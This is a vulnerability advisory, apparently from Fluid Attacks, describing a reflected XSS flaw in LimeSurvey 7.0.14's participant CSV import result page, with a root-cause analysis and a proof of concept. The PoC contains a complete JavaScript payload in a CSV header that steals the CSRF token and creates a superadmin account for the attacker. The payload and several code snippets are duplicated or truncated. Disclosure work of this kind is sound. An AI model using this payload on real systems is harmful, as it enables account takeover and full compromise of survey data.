LimeSurvey Community Edition 7.0.14 - Reflected XSS in participant CSV import result via invalid attribute column name

7.4

High

Discovered by

Miguel Gómez

Offensive Team, Fluid Attacks

Summary

Full name

LimeSurvey Community Edition 7.0.14 - Reflected XSS in participant CSV import result via invalid attribute column name

Code name

State

Public

Release date

Affected product

LimeSurvey

Vendor

LimeSurvey

Affected version(s)

7.0.14

Fixed version(s)

7.1.2

Vulnerability name

Reflected cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

7.4

Exploit available

Yes

Description

LimeSurvey contains a reflected cross-site scripting vulnerability in the administrative survey-participant CSV import result page. An external attacker who has no LimeSurvey account can craft a malicious participant-import CSV file and rely on social engineering to have an authenticated user with tokens:import permission import it with "Display attribute warnings" enabled. The injected markup is echoed back unescaped in the very same HTTP response and executes JavaScript in the victim's authenticated administrative session. If the victim already holds the superadmin permission, the demonstrated payload rides that session to create a brand-new, attacker-controlled superadministrator account, fully compromising the application.

Vulnerability

Root Cause

The uploaded participant CSV is only validated on its .csv extension (application/controllers/admin/Tokens.php:2342); the content itself is never validated or sanitized as HTML.

The header line is parsed with str_getcsv() (Tokens.php:2394) and each column name is trim()-ed (Tokens.php:2395), then passed through what looks like a cleanup step but is not an HTML sanitizer (Tokens.php:2399):

$aFirstLine[$index] = preg_replace("/(.*) <
$aFirstLine[$index] = preg_replace("/(.*) <
$aFirstLine[$index] = preg_replace("/(.*) <
$aFirstLine[$index] = preg_replace("/(.*) <

This pattern only strips a trailing " <...>" annotation — the classic "Display Name <address>" mail-header idiom — and only when it is preceded by a literal space and sits at the very end of the string. It has no notion of HTML tags, attributes, or event handlers, and it does not fire at all when the payload doesn't match that exact "space + angle-bracket-block-at-end" shape — which is the case for a column such as attribute_<img src=x onerror=...>, since there is no space before <img. The value is never passed through CHtml::encode(), htmlspecialchars(), or any HTML purifier.

Any column that merely contains the substring attribute_ but does not match a name actually configured for the survey ($aAttrFieldNames, from getAttributeFieldNames($iSurveyId), Tokens.php:2326) is classified as an "invalid attribute" and stored verbatim, unmodified — classifying it as invalid does not cause rejection or encoding, only routing into a warning list (Tokens.php:2408-2409):





This branch only runs when the request includes showwarningtoken=1, i.e. when the importing user ticks the standard, documented "Display attribute warnings" checkbox on the upload form (application/views/admin/token/csvupload.php:88-91) — not a hidden or unsupported configuration.

The sink is application/views/admin/token/csvimportresult.php:146-148, where the collected values are echoed with no output encoding of any kind:

<?php foreach ($aInvalideAttrFieldName as $sModelError) { ?>
    <li><?php echo $sModelError; ?></li>
<?php }

<?php foreach ($aInvalideAttrFieldName as $sModelError) { ?>
    <li><?php echo $sModelError; ?></li>
<?php }

<?php foreach ($aInvalideAttrFieldName as $sModelError) { ?>
    <li><?php echo $sModelError; ?></li>
<?php }

<?php foreach ($aInvalideAttrFieldName as $sModelError) { ?>
    <li><?php echo $sModelError; ?></li>
<?php }

Confirmed source-to-sink path

  1. Source — attacker-controlled CSV header row, uploaded via POST /index.php/admin/tokens/sa/import/surveyid/<id> (Tokens.php:2342, only .csv extension is checked).

  2. Parsestr_getcsv() splits the header row; array_map('trim', ...) trims each name (Tokens.php:2394-2395).

  3. Ineffective transformpreg_replace("/(.*) <[^,]*>$/", "$1", $sFieldname) (Tokens.php:2399) does not match/strip the payload (no leading space before <img).

  4. Classificationstrpos(..., 'attribute_') !== false and !in_array(..., $aAttrFieldNames) and getPost('showwarningtoken') routes the untouched value into $aInvalideAttrFieldName[] (Tokens.php:2408-2409).

  5. Handoff to view$aData['aInvalideAttrFieldName'] = $aInvalideAttrFieldName; (Tokens.php:2588).

  6. Sink<li><?php echo $sModelError; ?></li> (application/views/admin/token/csvimportresult.php:147), rendered with zero output encoding in the HTTP response returned for the same import request.

Impact

The injected JavaScript executes in LimeSurvey's administrative origin, in the authenticated session of whoever performed the import — it can read page content and anti-CSRF tokens and submit any administrative request available to that victim.

This is session-riding, not a flaw in the permission model itself: the PoC payload calls userManagement/applyedit and userManagement/saveUserPermissions (application/controllers/UserManagementController.php:132,657). applyPermissionFromArray() (UserManagementController.php:1826-1866) filters the requested permission grants against the caller's own current global permissions — a request to grant superadmin is only honored if the acting session already has superadmin:create. Consequently:

  • If the victim is a superadministrator, the demonstrated payload creates a new, fully-privileged, attacker-controlled superadmin account, compromising all application data and configuration.

  • If the victim only holds tokens:import (no elevated global permissions), the same JavaScript still executes with full read/write access to whatever that victim's session can reach, but the account-takeover step is capped by the victim's own permissions.

PoC

Preconditions

  • LimeSurvey Community Edition 7.0.14+260904 deployed per vendor-standard Docker install, available at http://127.0.0.1:8081.

  • The victim has an authenticated LimeSurvey session with, at minimum, survey:read and tokens:import for the target survey.

  • The external attacker who crafts and delivers the CSV needs no LimeSurvey account and no application permission.

  • Highest impact requires the victim to already hold the global superadmin permission.

Step-by-step

  1. Craft the malicious CSV (import_xss.csv) — a standard 3-mandatory-field participant file plus one attacker-controlled attribute_* header:

    firstname,lastname,email,"attribute_<img src=x onerror=""this.onerror=null;(async()=>{const n='attackerAdmin',w='attackerAdmin!aA1';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.title='TOKEN-CSV-ADMIN:'+n})().catch(e=>{document.title='TOKEN-CSV-ERROR:'+e.message})"">"
    Impact,Proof,impact-proof@example.test,ignored
    firstname,lastname,email,"attribute_<img src=x onerror=""this.onerror=null;(async()=>{const n='attackerAdmin',w='attackerAdmin!aA1';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.title='TOKEN-CSV-ADMIN:'+n})().catch(e=>{document.title='TOKEN-CSV-ERROR:'+e.message})"">"
    Impact,Proof,impact-proof@example.test,ignored
    firstname,lastname,email,"attribute_<img src=x onerror=""this.onerror=null;(async()=>{const n='attackerAdmin',w='attackerAdmin!aA1';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.title='TOKEN-CSV-ADMIN:'+n})().catch(e=>{document.title='TOKEN-CSV-ERROR:'+e.message})"">"
    Impact,Proof,impact-proof@example.test,ignored
    firstname,lastname,email,"attribute_<img src=x onerror=""this.onerror=null;(async()=>{const n='attackerAdmin',w='attackerAdmin!aA1';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.title='TOKEN-CSV-ADMIN:'+n})().catch(e=>{document.title='TOKEN-CSV-ERROR:'+e.message})"">"
    Impact,Proof,impact-proof@example.test,ignored

    The 4th column is treated as an invalid participant attribute; because the malicious content contains no space directly before <img, the "cleanup" regex at Tokens.php:2399 never matches, so the tag survives intact.

  2. Victim imports the file: sign in as the victim (http://127.0.0.1:8081/index.php/admin) → create/open a survey → ParticipantsAdd… → Import participants from: CSV file → select import_xss.csv → set Display attribute warnings: OnUpload.

  3. Result: the response page (csvimportresult.php) renders the <img onerror=...> tag unescaped inside the "invalid attributes" warning list. The browser parses and executes it immediately: it fetches the current CSRF token, POSTs to userManagement/applyedit to create attackerAdmin:attackerAdmin!aA1, POSTs to userManagement/saveUserPermissions to grant that new user every listed permission (including superadmin and auth_db, which only actually take effect if the victim's session already has superadmin:create), and sets document.title to TOKEN-CSV-ADMIN:attackerAdmin as a success marker.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-92730 to refer to this issue from now on.

Disclosure policy

System Information

  • LimeSurvey

  • Version: 7.1.2

  • Operating System: Any

References

Mitigation

An updated version of LimeSurvey is available on the vendor page.

Credits

The vulnerability was discovered by Miguel Gomez from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.